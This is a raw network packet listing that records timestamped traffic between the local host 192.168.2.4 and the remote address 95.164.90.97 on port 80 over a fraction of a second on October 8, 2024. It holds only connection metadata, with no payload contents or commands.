Oct 8, 2024 02:45:31.699048996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699059010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699073076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699090958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699122906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699137926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699156046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699166059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699187994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699207067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699220896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699233055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699253082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699286938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699295044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699328899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.784924984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.784985065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785016060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785033941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785048008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785067081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785075903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785105944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785116911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785149097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785156012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785181999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785187006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785213947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785221100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785254002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785264969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785309076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785315037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785347939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785357952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785379887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785388947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785413027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785425901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785454988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785461903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785495996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785505056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785527945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785538912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785563946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785574913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785595894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785605907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785631895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785641909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785669088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785674095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785705090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785711050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785737991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785744905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785770893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785792112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785811901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785816908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785845041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785851002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785878897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785887003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785914898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785923004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785948038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.785957098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.785981894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786003113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786027908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786122084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786153078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786165953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786185980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786210060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786222935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786237955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786256075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786263943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786288977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786303997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786320925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786335945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786354065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786365986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786386013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786401987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786417961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786427975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786452055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786459923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786485910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786494017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786521912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786536932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786572933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786581039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786606073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786618948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786638021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786669970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786679983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786703110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786720991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786751032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786751032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786782980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786794901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786817074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786829948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786848068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786864996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786880016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786895990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786909103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786930084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786940098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786952019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.786973953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.786982059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787007093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787014961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787040949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787048101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787072897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787081003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787112951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787122965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787154913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787164927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787190914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787195921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787223101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787230015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787256002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787264109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787288904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787297964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787322998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787333965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787354946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787369013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787410975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787420034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787452936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787467957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787486076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787493944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787527084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787544012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787579060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787587881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787611008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787619114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787643909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787652016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787677050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787684917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787708998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787719011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787743092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787751913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787775993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787782907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787807941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787817001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787842035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787854910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787874937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787883997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787909031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787916899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787938118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787947893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.787970066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.787983894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788002968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788012028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788036108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788044930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788069010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788075924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788100958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788113117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788134098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788142920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788168907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788182020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788203955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788214922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788235903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788249969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788269043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788283110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788300991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788316011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788332939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788347960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788373947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788397074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788429976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788438082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788461924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788470030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788494110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788502932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788522959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788537025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788562059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788568974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788594961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788599968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788628101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788640022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788672924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788682938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788717031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788724899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788748980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788757086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788778067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788790941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788825035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788825989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788861990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788867950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788893938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788902044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788928032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788934946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788959980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.788969994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.788994074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789000988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789026022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789035082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789058924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789067984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789091110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789110899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789124966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789130926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789158106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789165974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789191008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789199114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789227009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789233923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789261103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.789268017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.789305925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.875696898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875740051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875792027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875828981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875864029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875875950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.875897884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875915051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.875915051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.875940084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.875947952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875981092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.875987053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876014948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876017094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876051903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876055002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876089096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876152992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876200914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876207113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876234055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876238108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876271963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876275063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876308918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876313925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876343012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876344919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876377106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876382113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876410007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876414061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876446962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876446962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876502037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876648903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876682997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876693010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876715899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876719952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876755953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876792908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876827955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876830101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876861095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876864910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876899004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876912117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876945019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876951933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.876979113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.876981020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877012968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877023935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877052069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877063036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877095938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877100945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877130032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877134085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877166986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877178907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877213955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877218008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877247095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877249956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877279997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877284050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877314091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877316952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877346992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877351046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877379894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877382994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877413034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877417088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877446890 CEST	80	51293	95.164.90.97	192.168.2.4
